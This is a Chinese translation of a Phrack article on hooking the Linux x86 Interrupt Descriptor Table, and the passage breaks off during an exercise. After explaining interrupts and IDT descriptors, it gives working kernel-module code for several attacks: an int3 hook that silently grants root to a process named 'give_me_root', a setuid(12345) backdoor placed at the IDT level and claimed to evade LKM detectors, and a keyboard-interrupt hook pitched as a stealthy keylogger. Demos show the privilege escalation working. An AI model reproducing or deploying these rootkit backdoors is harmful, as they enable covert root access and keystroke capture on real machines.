玩转IDT(PHRACK59-0x04) 原作: <> by kad < kadamyse@altern.org > 翻译整理: alert7 < alert7@xfocus.org > 主页: http://www.xfocus.org/ http://www.whitecell.org/ 时间:2002-8-7 --[ 内容 0 - 前言 1 - 绪论 2 - 介绍 2.1 - 什么是中断(interrupt)? 2.2 - 中断和异常(exception) 2.3 - 中断向量 2.4 - 什么是IDT? 3 - 异常 3.1 - 异常列表 3.2 - 当异常出现时会发生什么 ? 3.3 - 中断钩子(Hooking) by mammon 3.4 - 一般中断钩子 3.5 - profit钩子 : 我们第一个后门 3.6 - fun钩子 4 - 硬件中断 4.1 - 它是如何工作的 ? 4.2 - 初始化和半底(bottom half)激活过程 4.3 - 键盘中断钩子 5 - 为系统调用安排的异常 5.1 - 系统调用列表 5.2 - 系统调用是如何工作的 ? 5.3 - profit钩子 5.3.1 - sys_setuid钩子 5.3.2 - sys_write钩子 5.4 - fun钩子 6 - CheckIDT 7 - 参考 & 致谢 8 - 附录 前言: 看到这片文章就让我想到LSD在5th Argus Hacking Challenge上的精彩表演。 只不过当时玩的是系统LDT漏洞,现在玩的是系统IDT后门。翻译不妥的地方还请斧正,如果您 的英文比较好的话,还是看原文吧。 --[ 1 - 绪论 众所周知,Intel x86 CPU能够运行在两种模式下:一种是实模式,一种是保护模式。 实模式我们就不讨论了,现在所有的操作系统都使用的是保护模式来使内核和一般进程隔离。 保护模式提供4个不同的权限等级(ring0...ring3)。用户应用程序在ring3,系统内核运行 在ring0.这使内核获得了访问所有CPU寄存器和硬件内存的权力。 在文中,我们将演示如何在Linux/x86上修改IDT。再进一步,我们将演示如何使用 一些技术重定向系统调用(象LKM做到的那样)。 本文中的例子只来说明使用LKM把可执行代码装载到内核空间是件容易的事情。其他超出 本文讨论范围的技术也可以用来把可执行代码装载到内核空间或者用来隐藏内核模块(就象 Spacewalker的方法一样)。 CheckIDT是个有用的工具,它检查IDT并且每5分钟避免内核panic一次。 --[ 2 - 介绍 ----[ 2.1 - 什么是中断(interrupt)? "中断被定义为当一个事件发生时,改变处理器的指令序列。这样的事件可由CPU芯片 内部或者外部硬件产生电信号产生" (摘自: "Understanding the Linux kernel," O'Reilly publishing.) ----[ 2.2 - 中断和异常(exception) Intel参考手册上指出“同步中断”(在一个指令执行完成后,由CPU控制单元产生的)作为“异常”。 异步中断(可能会在任意时刻由其他硬件产生的)才称为“中断”。中断被外部的I/O设备产生。 但是异常是由编程错误或者是由反常情况(必须由内核来处理)触发的。在该文档中, 术语“中断信号”既指异常又指中断。 中断分为两种类型:可屏蔽中断--它在短时间片段里可被忽略;不可屏蔽中断--它必须被立即处理。 不可屏蔽中断是由紧急事件产生例如硬件失败。著名的IRQS(中断请求)失败划为可屏蔽中断。 异常被分为不同的两类:处理器产生的异常(Faults, Traps, Aborts)和编程安排的 异常(用汇编指令int or int3 触发)。后一种就是我们经常说到的软中断。 ----[ 2.3 - 中断向量 每个中断或者异常用一个0-255的数字识别。Intel称这个数字为向量(vector).这些 数字如下分类: - From 0 to 31 : 异常和不可屏蔽中断 - From 32 to 47 : 可屏蔽中断 - From 48 to 255 : 软中断 Linux只使用一个软中断(0x80)作为调用系统内核函数的系统调用接口。 硬件IRQs从IRQ0...IRQ15分别被关联到了中断向量32..47。 ----[ 2.4 - 什么是IDT? IDT = Interrupt Descriptor Table 中断描述表 IDT是一个有256个入口的线形表,每个中断向量关联了一个中断处理过程。 每个IDT的入口是个8字节的描述符,所以整个IDT表的大小为256*8=2048 bytes IDT有三种不同的描述符或者说是入口: - 任务门描述符 Task Gate Descriptor Linux 没有使用该类型描述符 - 中断门描述符 Interrupt Gate Descriptor 63 48|47 40|39 32 +------------------------------------------------------------ | | |D|D| | | | | | | | | | HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED | | |L|L| | | | | | | | | ============================================================= | | SEGMENT SELECTOR | HANDLER OFFSET (0-15) | | | ------------------------------------------------------------+ 31 16|15 0 - bits 0 to 15 : handler offset low - bits 16 to 31 : segment selector - bits 32 to 37 : reserved - bits 37 to 39 : 0 - bits 40 to 47 : flags/type - bits 48 to 63 : handler offset high - 陷阱门描述符 Trap Gate Descriptor 同上,只是flag不同 flag 组成如下 : - 5 bits for the type interrupt gate : 1 1 1 1 0 trap gate : 0 1 1 1 0 - 2 bits for DPL DPL = descriptor privilege level - 1 bit reserved Offset low和offset high组成了处理中断函数的地址。当中断发生时会直接跳到该 地址运行。本文的目标是改变那些地址并且让我们自己的中断处理函数执行 DPL=Descriptor Privilege Level DPL等于0或者是3. 0是特权等级(内核模式). 当前的执行等级被保存在CPL寄存器中 (Current Privilege Level). 控制单元UC (Unit Of Control) 比较CPL中的值和IDT中断 描述符中的DPL字段。假如DPL值大于(较小权限)或者等于CPL值,那么中断处理过程被执行。 用户应用程序在ring3(CPL==3)中执行。某些中断在用户态是不能够被调用的。 IDT被BIOS程序首先初始化,但是当Linux得到控制权后,Linux自己又重新设置了IDT。 汇编指令lidt提供了初始化idtr寄存器---它包含了IDT的大小和IDT的地址。 然后setup_idt函数填充了256个IDT入口--使用了同样的中断门(ignore_int)。然后按照需要, 安装正确的中断门。 linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr) 在idt寄存器指向的地址n位置插入一个中断门。'addr'中存放中断处理地址。 linux/arch/i386/kernel/irq.c 所有可屏蔽中断和软中断被set_intr_gate初始化: set_intr_gate : #define FIRST_EXTERNAL_VECTOR 0x20 for (i = 0; i < NR_IRQS; i++) { int vector = FIRST_EXTERNAL_VECTOR + i; if (vector != SYSCALL_VECTOR) set_intr_gate(vector, interrupt[i]); linux/arch/i386/kernel/traps.c::set_system_gate(n, addr) 插入一个陷阱门 DPL设置为3. 下面这些中断可以在ring3级调用: set_system_gate(3,&int3) set_system_gate(4,&overflow) set_system_gate(5,&bounds) set_system_gate(0x80,&system_call); linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr) 安装一个陷阱门,DPL设置为0 其他异常用set_trap-gate初始化: set_trap_gate(0,÷_error) set_trap_gate(1,&debug) set_trap_gate(2,&nmi) set_trap_gate(6,&invalid_op) set_trap_gate(7,&device_not_available) set_trap_gate(8,&double_fault) set_trap_gate(9,&coprocessor_segment_overrun) set_trap_gate(10,&invalid_TSS) set_trap_gate(11,&segment_not_present) set_trap_gate(12,&stack_segment) set_trap_gate(13,&general_protection) set_trap_gate(14,&page_fault) set_trap_gate(15,&spurious_interrupt_bug) set_trap_gate(16,&coprocessor_error) set_trap_gate(17,&alignement_check) set_trap_gate(18,&machine_check) IRQ中断被set_intr_gate()初始化,异常int3,overflow, bound 和system_call软中断 使用set_system_gate()设置。 所有其他的异常用set_trap_gate()设置。 让我们开始一些实践,解释每个中断当前关联的中断处理函数地址。使用CheckIDT [6]工具 [root@redhat73 root]# ./checkidt -A -s Int *** Stub Address *** Segment *** DPL *** Type Handler Name -------------------------------------------------------------------------- 0 0xc01089d8 KERNEL_CS 0 Trap gate divide_error 1 0xc0108a74 KERNEL_CS 0 Trap gate debug 2 0xc0108a80 KERNEL_CS 0 Interrupt gate nmi 3 0xc0108ab0 KERNEL_CS 3 System gate int3 4 0xc0108abc KERNEL_CS 3 System gate overflow 5 0xc0108ac8 KERNEL_CS 3 System gate bounds 6 0xc0108ad4 KERNEL_CS 0 Trap gate invalid_op ... 18 0xc0108b40 KERNEL_CS 0 Trap gate machine_check 19 0xc0108a28 KERNEL_CS 0 Trap gate simd_coprocessor_error 20 0xc0100200 KERNEL_CS 0 Interrupt gate ignore_int ... 31 0xc0100200 KERNEL_CS 0 Interrupt gate ignore_int 32 0xc021e2ac KERNEL_CS 0 Interrupt gate IRQ0x00_interrupt 33 0xc021e2b4 KERNEL_CS 0 Interrupt gate IRQ0x01_interrupt ... 47 0xc021e330 KERNEL_CS 0 Interrupt gate IRQ0x0f_interrupt 128 0xc01088f0 KERNEL_CS 3 System gate system_call System.map包含该地址的标号名 [root@redhat73 root]# grep c0108a80 /boot/System.map c0108a80 T nmi nmi=not maskable interrupt ->trap_gate [root@redhat73 root]# grep c0108abc /boot/System.map c0108abc T overflow overflow -> system_gate [root@redhat73 root]# grep c0100200 /boot/System.map c0100200 t ignore_int 18到31 Intel保留 [root@redhat73 root]# grep c021e2ac /boot/System.map c021e2ac r IRQ0x00_interrupt device keyboard ->intr_gate [root@redhat73 root]# grep c01088f0 /boot/System.map c01088f0 T system_call system call -> system_gate 注: checkIDT有个选项解析标号 --[ 3 - 异常 ----[ 3.1 - 异常列表 --------------------------------------------------------------------------+ number | Exception | Exception Handler | --------------------------------------------------------------------------+ 0 | Divide Error | divide_error() | 1 | Debug | debug() | 2 | Nonmaskable Interrupt | nmi() | 3 | Break Point | int3() | 4 | Overflow | overflow() | 5 | Boundary verification | bounds() | 6 | Invalid operation code | invalid_op() | 7 | Device not available | device_not_available() | 8 | Double Fault | double_fault() | 9 | Coprocessor segment overrun | coprocesseur_segment_overrun() | 10 | TSS not valid | invalid_tss() | 11 | Segment not present | segment_no_present() | 12 | stack exception | stack_segment() | 13 | General Protection | general_protection() | 14 | Page Fault | page_fault() | 15 | Reserved by Intel | none | 16 | Calcul Error with float virgul| coprocessor_error() | 17 | Alignement check | alignement_check() | 18 | Machine Check | machine_check() | --------------------------------------------------------------------------+ 异常被分为两类: - 处理器侦测的异常(DPL为0) - 软中断(aka programmed exceptions) (DPL为3). 后者我们可在用户态调用。 ----[ 3.2 - 当异常出现时会发生什么 ? 当一个中断发生,当前中断的中断处理函数被执行。该处理函数不是真正的处理异常函数, 它仅仅做个跳转,跳转到更好的处理函数。 异常 -----> 中间处理函数 -----> 真正的处理异常函数 entry.S 定义了所有的中间处理函数,也称为通用处理函数或者是stub. 中间处理函数用asm写的,后面真正的处理函数是用C写的。 让我们看看entry.S : entry.S : --------- ************************************************** ENTRY(nmi) pushl $0 pushl $ SYMBOL_NAME(do_nmi) jmp error_code ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code ENTRY(overflow) pushl $0 pushl $ SYMBOL_NAME(do_overflow) jmp error_code ENTRY(divide_error) pushl $0 # no error value/code pushl $ SYMBOL_NAME(do_divide_error) ALIGN error_code: pushl %ds pushl %eax xorl %eax,%eax pushl %ebp pushl %edi pushl %esi pushl %edx //保存寄存器值 decl %eax # eax = -1//设置eax为 -1. pushl %ecx pushl %ebx cld movl %es,%cx movl ORIG_EAX(%esp), %esi # get the error value movl ES(%esp), %edi # get the function address //拷贝硬件错误值($esp + 36)和处理函数地址($esp + 32)分别到esi和edi中。 movl %eax, ORIG_EAX(%esp) movl %ecx, ES(%esp) //把eax(现在为-1)拷贝到错误代码的位置, 把es拷贝到$esp+32的堆栈中。 movl %esp,%edx //保存stack顶的地址到edx中,然后把error_code值和edx放到stack中。 pushl %esi # push the error code pushl %edx # push the pt_regs pointer movl $(__KERNEL_DS),%edx movl %dx,%ds movl %dx,%es //把内核数据段选择子放到ds和es寄存器中 GET_CURRENT(%ebx) //把当前进程描述结构的地址放到ebx中 call *%edi addl $8,%esp jmp ret_from_exception ********************************************** 解释下上面的代码: 所有的处理函数有同样的结构(只有system_call和device_not_available是不同的): pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code Pushl $0 仅仅在某些异常中使用. 假设控制单元把异常的硬件错误值放到堆栈中。 有些异常不产生错误值所以用0代替。 最后一行跳转到error_code (细节看linux/arch/i386/kernel/entry.S). 错误值在异常中使用,是个asm的宏。 让我们再继续 异常 -----> 中间处理函数 ---> error_code宏 -----> 真正的处理异常函数 汇编代码error_code执行片段: 1: 保存寄存器值 2: 设置eax为 -1. 3: 拷贝硬件错误值($esp + 36)和处理函数地址($esp + 32)分别到esi和edi中。 movl ORIG_EAX(%esp), %esi movl ES(%esp), %edi 4: 把eax(现在为-1)拷贝到错误代码的位置, 把es拷贝到$esp+32的堆栈中。 5: 保存stack顶的地址到edx中,然后把error_code值和edx放到stack中。 6: 把内核数据段选择子放到ds和es寄存器中 7: 把当前进程描述结构的地址放到ebx中 8: 这些参数放在stack中(例如硬件异常值,地址,还用户模式进程的保存的寄存器值),将被C语言 的函数使用 9: 调用异常处理函数(函数地址放在edi中). 10: 最后两个指令是为了异常的返回准备的 error_code将跳到适当的异常处理函数中。(具体细节看traps.c) 那些真正的异常处理函数是用C写的。 让我们拿一个异常处理函数作为一个具体的例子。比如不可屏蔽的nmi中断处理函数。 注: 摘自traps.c ************************************************************** asmlinkage void do_nmi(struct pt_regs * regs, long error_code) { unsigned char reason = inb(0x61); extern atomic_t nmi_counter; .... ************************************************************** asmlinkage是个宏,使用它是为了保持参数在stack中。因为从汇编语言到C语言代码参数 的传递是通过stack的,它也可能从stack中得到一些不需要的参数。Asmlinkage将要 解析那些参数。 函数do_nmi得到pt_regs类型和error_code参数 pt_regs 在 /usr/include/asm/ptrace.h定义: struct pt_regs { long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; int xds; int xes; long orig_eax; long eip; int xcs; long eflags; long esp; int xss; }; 寄存器的一部分 被error_code代码已经放到了stack中,其他的寄存器被UC在硬件等级下也 放到了stack中了。 该处理函数将处理异常并且会发一个信号到进程。 ----[ 3.3 - 中断钩子(Hooking) by mammon Mammon写了一篇关于在linux如何hook中断的文章。上面讲到的技术和本文差不多。但本文 使用一种更通用更一般的方法来处理中断。 让我们拿int3看,这是个断点(breakpoint)中断。该handler/stub定义如下: ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code 硬件错误值0和C函数处理地址被推到了stack中。接下来汇编代码error_code被执行。 我们重写了asm的处理函数,把我们自己的异常处理地址推到stack中来替代原来的处理函数(do_int3). 例如: void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } 我们自己的asm处理函数看上去和原来的差不多。 - 我们在函数中使用汇编代码使link更容易 - .globl my_stub, 假如我们这样定义:in global : extern asmlinkage void my_stub(); 这样就允许我们调用my_stub代码。 - align 4,0x90, 4字节对齐。在Intel处理器上是4字节对齐的。 - push ptr_handler(,1) , 符合gas语法风格 更多的关于inline汇编请参考 [1]. 我们push我们自己的处理函数地址,跳到error_code代码。 ptr_handler是我们C处理函数地址: unsigned long ptr_handler=(unsigned long)&my_handler; C 处理函数: asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler; printk("<1>Wowowo hijacking of int 3 \n"); (*old_int_handler)(regs,err_code); return; } 我们需要取回两个参数,一个是寄存器指针,一个是err_code. 我们已经看到,前面error_code代码已经push了这两个参数。我们保存着老的处理函数地址。 在我们的处理函数里,我们打印出一些信息表示我们已经hooked了中断并且重新调用老的处理函数。 该方法是典型的hook系统调用的方法。 old_handler地址多少 ? #define do_int3 0xc010977c unsigned long old_handler=do_int3; do_int3 地址可以从 System.map 获得。 更清楚些 : asm Handler ---------------- push 0 push our handler jmp to error_code error_code ---------- do some operation pop our handler address jmp to our C handler our C Handler -------------------- save the old handler's address print a message return to the real C handler Real C Handler ------------------- really deal with the interrupt 现在我们修正IDT中的描述符(offset_low and offset_high)来改变中断处理函数的地址。 函数接受三个参数:要hook的中断号,新处理函数地址,保存着老处理函数地址的指针。 void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } struct descriptor_idt: struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; 一个描述符长度为64 bits unsigned short : 16 bits (offset_low,seg_selector and offset_high) unsigned char : 8 bits (reserved and flag) (3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet 我们感兴趣的是offset_high和offset_low字段.我们需要修改它。 Hook_stub执行步骤: 1: 拷贝我们的处理函数地址到new_addr 2: 使idt变量指向第一个IDT描述符。 get_addr_idt()得到IDT地址. 3: 使用get_stub_from_idt我们可以保存老的处理函数的地址。 struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); n = 要hook的中断号. idte是包含该中断的中断描述符。 返回值为是中断处理函数的地址,(void*) (32 bits)类型。 offset_high和offset_low都是16 bits, 这两个值组合起来就是32位的,一个完整的 中断处理函数地址。 4 : new_addr为我们的处理函数地址,也是32位的。 我们把new_addr 16 MSB放到offset_high,16 LSB放到offset_low。 改变中断描述符中的offset_high和offset_low字段。 在附加CODE 1中有整个代码。 为什么这个技术不是完美的? 尽管它不是太糟糕,但是不适合其他的中断。在这里,我们允许所有的处理函数有 如下形式: pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code 事实上,假如你看一下entry.S的话,看上去他们都是如上形式。但是,也不全是,想象下, 你要hook系统调用,或者是device_not_aivable处理函数甚至是硬件中断....那么我们 该如何做呢? ----[ 3.4 - 一般中断钩子 我们将使用不同的技术来hook函数。请记住,处理函数是用C写的,我们使用return返回到 真正的C处理函数内。 现在我们回头asm的代码。 简单的处理函数: void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " call *%0 \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } 在这里,我们调用我们自己的C处理函数,处理函数被执行并且接下来又跳回到原来的asm的处理函数。 我们的 C 处理函数 : asmlinkage void my_function() { printk("<1>Interrupt %i hijack \n",interrupt); } 发生了什么 ? 我们用我们的汇编代码改变了idt中某个中断的地址。 当某个中断被触发时候调用过程 stub_kad()-------->hostile_code----->old_stub-----> error_code宏 -----> 真正的处理异常函数 ::"m"(hostile_code),"m"(old_stub) 我们需要懂得一些inline asm汇编指令,下面是它的风格: asm ( assembler instruction : output operands : input operands : list of modified registers ); 我们可以使用asm或者__asm__指令。 关于一些inline的汇编指令请参考相关的资料,你也可以从这里得到一些相关资料 http://www.whitecell.org/forums/viewtopic.php?topic=989&forum=4&4 第一个有形的例子 : bash-2.05# cat test.c #include int main () { int a=8,b=0; printf("A/B = %i\n",a/b); return 0; } bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c bash-2.05# insmod hookstub-V0.2.o interrupt=0 Inserting hook Hooking finish bash-2.05# ./test Floating point exception Interrupt 0 hijack bash-2.05# rmmod hookstub-V0.2 Removing hook bash-2.05# 很好! 我们看到了"Interrupt hijack". 在该代码中,我们使用了MODULE_PARM,它运行在插入模块的时候传参数进去。更多关于 MODULE_PARM的,请参阅"linux device drivers" from o'reilly [2] (chapter 2). 这就允许我们使用同一个模块去hook不同的选择的中断。 ----[ 3.5 - profit钩子 : 我们第一个后门 该后门允许我们获得root shell. C 处理函数将会给产生特定中断的进程ROOT权限。 Asm 处理函数部分 ------------ void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } 我们把当前进程描述(使用GET_CURRENT宏)传递到了C处理函数里。又跳回error_code代码。 #define GET_CURRENT(reg) \ movl %esp, reg; \ andl $-8192, reg; 定义在entry.S. 注 : 我们也可以使用current替代 C handler : ------------- ... unsigned long hostile_code=(unsigned long)&my_function; ... asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { p->uid=0; p->gid=0; } } 我们定义了一个指针指向当前进程描述符(current process descriptor)。比较进程名。 我们没必要给所有产生这个中断的进程于ROOT权限。假如是我们的进程,给予新的权限。 "give_me_root"都是小写字母,它产生个shell。 在产生shell之前需要先产生个断点中断,我们才会变成root权限。 演练 : -------------- bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c bash-2.05# insmod hookstub-V0.3.2.o interrupt=3 Inserting hook Hooking finish bash-2.05# ///// in another shell ////// sh-2.05$ cat give_me_root.c #include int main (int argc, char ** argv) { system("/bin/sh"); return 0; } sh-2.05$ gcc -o give_me_root give_me_root.c [alert7@redhat73 alert7]$ id uid=502(alert7) gid=502(alert7) groups=502(alert7) [alert7@redhat73 alert7]$ gdb give_me_root -q (gdb) b main Breakpoint 1 at 0x8048406 (gdb) r Starting program: /home/alert7/give_me_root Breakpoint 1, 0x08048406 in main () (gdb) c Continuing. sh-2.05a# id uid=0(root) gid=0(root) groups=502(alert7) OK,现在我们是ROOT了。hookstub-V0.2.c代码在附件CODE 2 ----[ 3.6 - fun钩子 异常跟踪器是比较感兴趣的一个东西。例如我们可以hook所有的异常来打印出哪个异常是由哪个 进程触发的。我们也能在任何时候知道谁干了什么。我们也可以打印出寄存器的值。 在arch/i386/kernel/process.c中有个函数show_regs就是完成这个功能。 void show_regs(struct pt_regs * regs) { long cr0 = 0L, cr2 = 0L, cr3 = 0L; printk("\n"); printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip); if (regs->xcs & 3) printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp); printk(" EFLAGS: %08lx\n",regs->eflags); printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n", regs->eax,regs->ebx,regs->ecx,regs->edx); printk("ESI: %08lx EDI: %08lx EBP: %08lx", regs->esi, regs->edi, regs->ebp); printk(" DS: %04x ES: %04x\n", 0xffff & regs->xds,0xffff & regs->xes); __asm__("movl %%cr0, %0": "=r" (cr0)); __asm__("movl %%cr2, %0": "=r" (cr2)); __asm__("movl %%cr3, %0": "=r" (cr3)); printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3); } 你可以在每次异常的时候调用该函数打印寄存器值。 有时,改变asm处理函数是比较危险的,所以真正的C处理函数可以不被执行。处理器产生异常的 时候不会收到例如SIGSTOP或者SIGSEGV的信号。在某些情况,这会是很有用的。 --[ 4 - 硬件中断 ----[ 4.1 - 它是如何工作的 ? 我们也可以使用同样的方法hook IRQs产生的中断,但是hook它们就没多大意义了(说不定 你有好注意哦,告诉我哈)。在这,我们将hook 中断33键盘中断。有个问题是该中断发生好 多次。处理函数很短时间被执行好多次,所以处理函数要快而不能阻塞了系统。为了避免这个, 我们将使用半底(bottom half).那些优先权小点的半底函数大部分情况适合中断处理。kernel 等待合适的时候调用它们。在半底执行中,其他的中断是不被屏蔽的。 以下情况,等待的半底将被执行: - kernel处理完系统调用syscall - kernel处理完一个异常 - kernel处理完一个中断 - kernel为了选择新进程而调用schedule()函数 在处理器返回到用户模式前,它们将会被执行。 所以,半底是很有用的,确保一个中断的快速处理。 下面是LINUX使用的半底 ----------------+-------------------------------+ Bottom half | Peripheral equipment | ----------------+-------------------------------+ CONSOLE_BH | Virtual console | IMMEDIATE_BH | Immediate tasks file | KEYBOARD_BH | Keyboard | NET_BH | Network interface | SCSI_BH | SCSI interface | TIMER_BH | Clock | TQUEUE_BH | Periodic tasks queue | ... | | ----------------+-------------------------------+ 呵呵,好象跑题了,研究半底不是本文的目的。具体关于这个题目的文章请看 http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8] IRQ 列表 -------- 警告 ! : 为同样的IRQs来说中断号不总是相同的! ----+---------------+---------------------------------------- IRQ | Interrupt | Peripheral equipment ----+---------------+---------------------------------------- 0 | 32 | Timer 1 | 33 | Keyboard 2 | 34 | PIC cascade 3 | 35 | Second serial port 4 | 36 | First serial port 6 | 37 | Floppy drive 8 | 40 | System clock 11 | 43 | Network interface 12 | 44 | PS/2 mouse 13 | 45 | Mathematic coprocessor 14 | 46 | First EIDE disk controller 15 | 47 | Second EIDE disk controller ----+---------------+---------------------------------------- ----[ 4.2 - 初始化和半底(bottom half)激活过程 半底需要使用init_bh(n,routine)函数初始化,该函数把函数地址插入bh_base的第n个 入口(bh_base保存着半底部分的一个数组)。但它被初始化后,它才可以被激活和执行。函数 mark_bh(n)用来激活中断的底半部分。 所有中断的底半部分用tq_struct类型中的元素把它们连接起来。 struct tq_struct { struct tq_struct *next; /* linked list of active bh's */ unsigned long sync; /* must be initialized to zero */ void (*routine)(void *); /* function to call */ void *data; /* argument to function */ }; 宏DELACRE_TASK_QUEUE(name,fonction,data)允许我们声明一个tasklet, 它将被插入任务队列(使用函数queue_task)。这里有几个任务队列,我们敢兴趣的是 tq_immediate队列,该队列在半底IMMEDIATE_BH执行(immediate队列). (include/linux/tqueue.h) ----[ 4.3 - 键盘中断钩子 当我们击一键时,中断发生两次。一次是我们push一个key的时候,一次是释放一个键的时候。 以下代码每10次中断显示个message,假如击了5次键,那么message将出现。 asm处理函数同3.4,这里我们就不显示了 Code ---- ... struct Variable { int entier; char chaine[10]; }; ... static void evil_fonction(void * status) { struct Variable *var = (struct Variable * )status; nb++; if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n", nb,var->entier,var->chaine); } ... asmlinkage void my_function() { static struct Variable variable; static struct tq_struct my_task = {NULL,0,evil_fonction,&variable}; variable.entier=3; strcpy(variable.chaine,"haha hijacked key :) "); queue_task(&my_task,&tq_immediate); mark_bh(IMMEDIATE_BH); } 我们定义了一个tasklet my_task,使用我们的函数和参数初始化。因为tasklet允许我们 仅使用一个参数,所以我们使用了结构地址。这将允许我们几个参数。我们把该tasklet加到 tq_immediate列表(使用queue_task)。最后,使用mark_bh激活底部分IMMEDIATE_BH。 mark_bh(IMMEDIATE_BH) 我们必须激活IMMEDIATE_BH,它处理任务队列'tq_immediate' 。当请求的时间触发时候, evil_function函数将被执行(listed in part 4.1) evil_function仅仅10次中断显示一个message.我们有效的hook了键盘中断。我们可以使用该 方法写个内核键盘记录器。这个将非常的隐蔽,因为它是在中断级别的。在这里(我没有用代码实现) 我们可以知道哪个key被击中了。为了做这个,我们可以使用函数inb()来读I/O端口。系统里有 65536个I/O端口(8 bits ports). 2个8 bits ports组成一个16 位的 ports,2个16位的ports 组成一个32位的 ports. inb,inw,inl : allow to read 1, 2 or 4 consecutive bytes from a I/O port. outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port. 所以,我么能使用inb函数读键盘扫描码scancode和键盘状态status(压下,释放键盘)。 不幸的是,我不敢确定要读的端口。扫描码的端口可能是0x60,状态端口可能是0x64吧. scancode=inb(0x60); status=inb(0x64); scancode值和键击的key有着一个转换关系,作者不能确定到底是如何转换的。 假如有人知道或者有人想发展这个的话,请联系作者 --[ 5 - 为系统调用安排的异常 ----[ 5.1 - 系统调用列表 你可以在下列rul中找到一个所有的系统调用的列表 : http://www.lxhp.in-berlin.de/lhpsysc0.html [3]. 注 : 小心,在2.2.* 和 2.4.* kernels之间系统调用号是不一样的。 ----[ 5.2 - 系统调用是如何工作的 ? 在这里,我们也hook了syscalls.当系统调用被调用时,所有的参数都是在寄存器中。 eax : number of the called syscall ebx : first param ecx : second param edx : third param esi : fourth param edi : fifth param 假如参数超过5的话(象mmap系统调用有6个参数),简单的寄存器用来指向内存区,该区包含了 那些参数。 我们得到那些变量就象前面structure pt_regs一样. 我们在IDT等级hook系统调用,而 不是hook syscall_table. kstat和其他所有当前可用的LKM侦测工具都将失败。 ----[ 5.3 - profit钩子 ------[ 5.3.1 - sys_setuid钩子 SYS_SETUID: ----------- EAX: 213 EBX: uid 我们来看一个简单的例子,又一个小后门。跟前面的3.5中的差不多,只是在这里,我们使用的是 hook syscall setuid. asm handler : -------------- ... #define sys_number 213 ... void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" //save the register value " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare if it's the good syscall " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall, //put top stack address on stack :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" //restore register " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } - 保存所有寄存器 - 比较是否是我们hook的sys_number - 假如是,我们把esp值和当前进程描述put到堆栈中。 - 调用我们的C函数,在返回的时候,我们pop了8个字节(eax + edx). - finis : 弹出所有的寄存器值,然后我们调用真正的处理函数。 通过改变sys_number值, 我们可以hook任何的系统调用 C handler ---------- asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct *) fd_task)[0]; if (regs->ebx == 12345 ) { my_task->uid=0; my_task->gid=0; my_task->suid=1000; } } 我们通过pt_regs结构得到寄存器值并且得到current描述符的地址。我们比较ebx值是否为12345,假如 是的话,我们设置uid和gid为0。 练习 : -------------- bash-2.05$ cat setuid.c #include int main (int argc,char ** argv) { setuid(12345); system("/bin/sh"); return 0; } bash-2.05$ 